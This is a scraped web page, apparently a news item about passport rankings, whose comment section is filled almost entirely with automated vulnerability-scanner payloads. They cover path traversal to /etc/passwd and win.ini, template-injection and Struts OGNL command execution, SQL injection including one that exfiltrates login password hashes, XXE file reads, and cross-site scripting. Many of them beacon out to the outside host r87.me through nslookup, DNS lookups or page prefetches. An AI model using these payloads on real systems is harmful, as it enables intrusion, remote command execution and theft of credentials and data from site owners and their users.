Follow the stories of academics and their research expeditions
???? Global advisory firm Henley & Partners has just released its latest passport rankings—with Canada securing a top‑10 position once again.
Wed, 20 May 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Reply
Wed, 20 May 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Reply
Wed, 20 May 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Reply
Wed, 20 May 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Reply
Wed, 20 May 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Reply
Wed, 20 May 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZG9hMzN5aWpoOHppOWZlMWlldHp6ZHp3YWVrMmdpNG9kOC5yODcubWU=')).read()
Reply
Wed, 20 May 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dak7ukdtbc0ymvqgnqrye8c8u4r88xi".concat "_qi.r87.me")
Reply
Wed, 20 May 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_diftwxt-jxcapvhvrbzcllaa0pl29wm"+"8is.r87.me") }
Reply
Wed, 20 May 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZGJvaDk2NHN6eXlqYnN1dDRtc2lmdHN2em1xN3hrM2dibS5yODcubWU=|{base64,--decode})}") }
Reply
Wed, 20 May 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZHN1c2NqYXNvaGh2NG8zM3ktMW5nbXpxZmNza2Mydm5ucS5yODcubWU=')})).to_s}" %>
Reply
Wed, 20 May 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_d9n5ozda0zyy9tlwaw9xn6paw7yo7ac"~"bkc.r87.me")}}
Reply
Wed, 20 May 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Reply
Wed, 20 May 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_demebzpsvivcfylnr8aa0pytcfrfcmq"."w7i.r87.me"),'b');{/php}
Reply
Wed, 20 May 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Reply
Wed, 20 May 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGM1cHBlNmc2LWRhcW9rdjBsdDRram14OXR0M3ltcjJlaS5yODcubWU=','base64').toString()) %>
Reply
Wed, 20 May 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Reply
Wed, 20 May 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZHRtMDV1aTlpYzE0OHd4bmlfeHBhcXFjenNfMWRkYTA5dS5yODcubWU=','base64').toString())
Reply
Wed, 20 May 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Reply
Wed, 20 May 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkhCemRXWnpjWE53ZUROMWN6aG1hV2wzZUdOM1oySnllVzh3ZG5odWVXTTVPQzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Reply
Wed, 20 May 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZHEtNmV3aTFkZHZ5ZnR6b2pvbHRob3NnLS12ZHVxYmJtYS5yODcubWU=')).read()}}
Reply
Wed, 20 May 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_d3jce8wecttfax7gzr-tbbupy6em6tt"p84.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Reply
Wed, 20 May 2026
<frame src="[removed]netsparker(0x1761B6)"></frame>
Reply
Wed, 20 May 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_dsh3y6e6z5o2jgki5iyfwvaof2mybtj""zne.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Reply
Wed, 20 May 2026
|nslookup${IFS}"leo2yix4_dgvn29nkmzhr25fduaffk2_61x_weii""mfk.r87.me"
Reply
Wed, 20 May 2026
"&nslookup "leo2yix4_dtkxyaw3kyet1lkp-wfn0wpbqgo09mz""yam.r87.me"
Reply
Wed, 20 May 2026
'&nslookup "leo2yix4_dpoynhg2yjtmhlktt59fxv-0nuw_nic""u74.r87.me"
Reply
Wed, 20 May 2026
&nslookup "leo2yix4_dqvth3chw4gj1qlvmitc5vwpuyyszjk""kfu.r87.me"
Reply
Wed, 20 May 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x175F2A)[removed]</html>
Reply
Wed, 20 May 2026
nslookup "leo2yix4_dgr4yxerohbss3fwyjfrt83ml76if8_""bta.r87.me"
Reply
Wed, 20 May 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Reply
Wed, 20 May 2026
"& nslookup leo2yix4_dd9tqqdvql0sxjxn1r2mmiapusjytwp^f70.r87.me&'\"`0&nslookup leo2yix4_dd9tqqdvql0sxjxn1r2mmiapusjytwp^f70.r87.me&`'
Reply
Wed, 20 May 2026
'"@--></style>[removed][removed]netsparker(0x175EAE)[removed]
Reply
Wed, 20 May 2026
'& nslookup leo2yix4_dgmn3u_v7it8obu98wr3sj8vfuggh1p^o0q.r87.me&'\"`0&nslookup leo2yix4_dgmn3u_v7it8obu98wr3sj8vfuggh1p^o0q.r87.me&`'
Reply
Wed, 20 May 2026
& nslookup leo2yix4_dlg29izzxtxykb_a0m07-19m4rkh0uj^awe.r87.me&'\"`0&nslookup leo2yix4_dlg29izzxtxykb_a0m07-19m4rkh0uj^awe.r87.me&`'
Reply
Wed, 20 May 2026
nslookup leo2yix4_dqt0eoxlipkmcovmjs0oxjsecrnv4g1^rz4.r87.me&'\"`0&nslookup leo2yix4_dqt0eoxlipkmcovmjs0oxjsecrnv4g1^rz4.r87.me&`'
Reply
Wed, 20 May 2026
"+gethostbyname(lc 'leo2yix4_d9mmk05ckmu986qls4ylz7xthboijfu'.'o8c.r87.me')+"
Reply
Wed, 20 May 2026
'+gethostbyname(lc 'leo2yix4_dbmzak8oit-jvhnyyzpj3exnjoyuaxu'.'fns.r87.me')+'
Reply
Wed, 20 May 2026
eval('gethostbyname(lc 'leo2yix4_dzasod5bv1exibqa7tqcuumtpertjbm'.'-py.r87.me')')
Reply
Wed, 20 May 2026
gethostbyname(lc 'leo2yix4_d3q3ltodnnpyoen_xuzzfsrbolffcxx'.'8rm.r87.me')
Reply
Wed, 20 May 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dfdrsyhii-slkloroluzuwizstzbbdn" & "0ec.r87.me").StdOut.ReadAll+"
Reply
Wed, 20 May 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_d8a9-mdffpgk8_jucct00h3e_gpwcb_" & "eom.r87.me").StdOut.ReadAll%>
Reply
Wed, 20 May 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_d7ehgcunjf2_6l0dreshb84lpyldgkb" & "fnk.r87.me").StdOut.ReadAll+
Reply
Wed, 20 May 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_ds58ifa6bafjevev5z2r9f5mta2y1gb" & "f94.r87.me").StdOut.ReadAll
Reply
Wed, 20 May 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('81194')).read()
Reply
Wed, 20 May 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_da2hucndwtedmuvlakblb1ftexktyov" & "qpg.r87.me").StdOut.ReadAll
Reply
Wed, 20 May 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Reply
Wed, 20 May 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(116)||chr(100)||chr(57)||chr(119)||chr(122)||chr(120)||chr(107)||chr(50)||chr(102)||chr(109)||chr(56)||chr(114)||chr(108)||chr(103)||chr(121)||chr(118)||chr(52)||chr(100)||chr(99)||chr(103)||chr(122)||chr(115)||chr(110)||chr(115)||chr(111)||chr(108)||chr(50)||chr(121)||chr(105)||chr(104)||chr(101)||chr(52)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Reply
Wed, 20 May 2026
__import__('os').popen(('expr 268409241 - {0}').format('48806')).read()
Reply
Wed, 20 May 2026
'{${gethostbyname(trim('leo2yix4_dp2zfwnhmamaajvipvhpvo12oxrbuzq'.'mma.r87.me'))}}'
Reply
Wed, 20 May 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Reply
Wed, 20 May 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(118)||chr(110)||chr(105)||chr(110)||chr(116)||chr(45)||chr(122)||chr(103)||chr(112)||chr(109)||chr(103)||chr(106)||chr(117)||chr(103)||chr(103)||chr(110)||chr(50)||chr(106)||chr(122)||chr(56)||chr(106)||chr(117)||chr(109)||chr(102)||chr(117)||chr(105)||chr(115)||chr(98)||chr(104)||chr(102)||chr(103)||chr(117)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Reply
Wed, 20 May 2026
<? gethostbyname(trim('leo2yix4_dbvczpctktcqspva7iojm5y3tgskwcp'.'qp0.r87.me'));//?>
Reply
Wed, 20 May 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Reply
Wed, 20 May 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(110)||chr(114)||chr(107)||chr(99)||chr(121)||chr(117)||chr(52)||chr(45)||chr(45)||chr(107)||chr(111)||chr(118)||chr(100)||chr(100)||chr(48)||chr(107)||chr(56)||chr(99)||chr(98)||chr(119)||chr(100)||chr(121)||chr(114)||chr(101)||chr(107)||chr(119)||chr(113)||chr(107)||chr(52)||chr(121)||chr(119)||chr(52)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Reply
Wed, 20 May 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-77743)}
Reply
Wed, 20 May 2026
"+gethostbyname(trim('leo2yix4_dshrknjdxf26edoih-ncgfdzitllnc4'.'c1c.r87.me'))+"
Reply
Wed, 20 May 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dyqf8w-k4v5xdpgxf1qq_de1rp9plmh'||'_7w.r87.me') from DUAL))||'
Reply
Wed, 20 May 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 22544'))
Reply
Wed, 20 May 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Reply
Wed, 20 May 2026
'+gethostbyname(trim('leo2yix4_dezp5phazb6kmrf0x4rbowimysxbxmm'.'74m.r87.me'))+'
Reply
Wed, 20 May 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dwo5tgbao_yxuujekm2uk7i-7gxivh_'||'8x8.r87.me') from DUAL))))
Reply
Wed, 20 May 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 5127'))
Reply
Wed, 20 May 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Reply
Wed, 20 May 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Reply
Wed, 20 May 2026
+gethostbyname(trim('leo2yix4_d9bswfclfci8ynesamq_uauvsbjhayg'.'3xc.r87.me'));//
Reply
Wed, 20 May 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_df4odx0swosaev0ao5pg6i6i0mrmiin'||'9nm.r87.me') from DUAL)
Reply
Wed, 20 May 2026
gethostbyname(trim('leo2yix4_dwinnrvw_2c4jljlnlnamvcv9rzee-8'.'vre.r87.me'));
Reply
Wed, 20 May 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Reply
Wed, 20 May 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Wed, 20 May 2026
'||(SELECT dblink_connect('host=leo2yix4_dtxtemj3v_w-nwlslhwyvo39yd8qayt'||'1e8.r87.me user=a password=a connect_timeout=2'))||'
Reply
Wed, 20 May 2026
gethostbyname(trim('leo2yix4_dr9nrcrgnzwow9typbtivkcar4pmtwg'.'kqy.r87.me'))
Reply
Wed, 20 May 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Reply
Wed, 20 May 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Wed, 20 May 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(51)||chr(106)||chr(101)||chr(111)||chr(98)||chr(103)||chr(111)||chr(107)||chr(118)||chr(113)||chr(107)||chr(111)||chr(109)||chr(55)||chr(119)||chr(114)||chr(109)||chr(103)||chr(112)||chr(118)||chr(122)||chr(49)||chr(118)||chr(100)||chr(97)||chr(107)||chr(115)||chr(105)||chr(116)||chr(45)||chr(111)||chr(100)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Reply
Wed, 20 May 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Reply
Wed, 20 May 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Wed, 20 May 2026
cast((SELECT dblink_connect('host=leo2yix4_dtky3speqjffem17aw4-jvhsppipl_3'||'hgi.r87.me user=a password=a connect_timeout=2')) as numeric)
Reply
Wed, 20 May 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Reply
Wed, 20 May 2026
dblink_connect('host=leo2yix4_d27gphlte6mtc6owdx6wnl8-mxao3yq'||'tzw.r87.me user=a password=a connect_timeout=2')
Reply
Wed, 20 May 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='76303').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Reply
Wed, 20 May 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Wed, 20 May 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc0QkJCKTwvc2NyaXB0Pg==
Reply
Wed, 20 May 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Reply
Wed, 20 May 2026
SELECT dblink_connect('host=leo2yix4_dcjivkln_dyo2yoyo82b-dmbdutklyr'||'edk.r87.me user=a password=a connect_timeout=2')
Reply
Wed, 20 May 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Reply
Wed, 20 May 2026
'"--></style>[removed][removed]netsparker(0x174A80)[removed]
Reply
Wed, 20 May 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_d3v_qtqdvrc8grayamdp6wq0lq4yhln'+'cuw.r87.me')exec sp_executesql @r--
Reply
Wed, 20 May 2026
'"--></style>[removed][removed]netsparker(0x174A0D)[removed]
Reply
Wed, 20 May 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dddvq_zsx6t-bgw9i1wqe3y566t3qwz'+'dpg.r87.me')exec sp_executesql @r--
Reply
Wed, 20 May 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dbzx1jzsyocsffbclanzwczghwjy33o'+'hgu.r87.me')exec sp_executesql @r
Reply
Wed, 20 May 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Reply
Wed, 20 May 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_dh2qi-in5xa3vijpnorqrhlrslgjixk'+'eeq.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Reply
Wed, 20 May 2026
1'))exec('xp_dirtree ''\\leo2yix4_dd3l8ktasrtfytjkf5ajghv2v5rw3ce'+'ouo.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Reply
Wed, 20 May 2026
1))exec('xp_dirtree ''\\leo2yix4_d53qufqq7sfztw9c9ousnziqrik5lvu'+'hv4.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Reply
Wed, 20 May 2026
1')exec('xp_dirtree ''\\leo2yix4_dap6u9yyb3m7wagajoamuzshznahbvu'+'p2y.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Reply
Wed, 20 May 2026
1) exec('xp_dirtree ''\\leo2yix4_dkkgqetuz65xh9keeqbr0ojc6ijjip7'+'zfg.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Reply
Wed, 20 May 2026
-1';exec('xp_dirtree ''\\leo2yix4_drtp3dens5zq92uvzu94n2fhz3u2r9j'+'aj0.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Reply
Wed, 20 May 2026
1;exec('xp_dirtree ''\\leo2yix4_dzx2fqlqcqb_h-6hhsgxa131pl9osud'+'5vg.r87.me'+'\c$\a''')--
Reply
Wed, 20 May 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Reply
Wed, 20 May 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_dw8x1y_xbcvmclh0mgdpudjvtytfdqb'+'i0e.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Reply
Wed, 20 May 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Reply
Wed, 20 May 2026
exec('xp_dirtree ''\\leo2yix4_dzgi8f-rqpvcjtsc7yto6fpef37dw12'+'hgs.r87.me'+'\c$\a''')
Reply
Wed, 20 May 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Reply
Wed, 20 May 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Reply
Wed, 20 May 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_de9lczc-e-ffpgtq9mh484bnfcwrb2o"+"3mq.r87.me/r/?"+location.href;document.head.appendChild(l);//
Reply
Wed, 20 May 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dku0u4gtyhemvy4yvo9jikveq1b-_om"+"c6a.r87.me/r/?"+location.href;document.head.appendChild(l);//
Reply
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
Wed, 20 May 2026
3
Wed, 20 May 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_d4cjv0dfzsct8irsorlubng9k132k7d'+'onu.r87.me/r/?'+location.href">
Reply
Wed, 20 May 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dl7wx_hqihvlpgyrxwv4enhqkjknvendm4.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Wed, 20 May 2026
http://r87.me/r/?id=leo2yix4_dwcr3-zpa2bssc3-y4ax36jky8d9c0b_yu
Reply
Wed, 20 May 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dzlcjjlh9gky3e66sxni4icwohxrtrmzno.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Wed, 20 May 2026
php://filter//resource=http://leo2yix4_df3hhiiwsiolqysjbulwibk4g2rhccut3z.r87.me/p/
Reply
Wed, 20 May 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Reply
Wed, 20 May 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dsfyvoak8luhs60wobkckfxvacx9at9mca.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Wed, 20 May 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Reply
-1 OR 1=1 Smith
Wed, 20 May 2026
Reply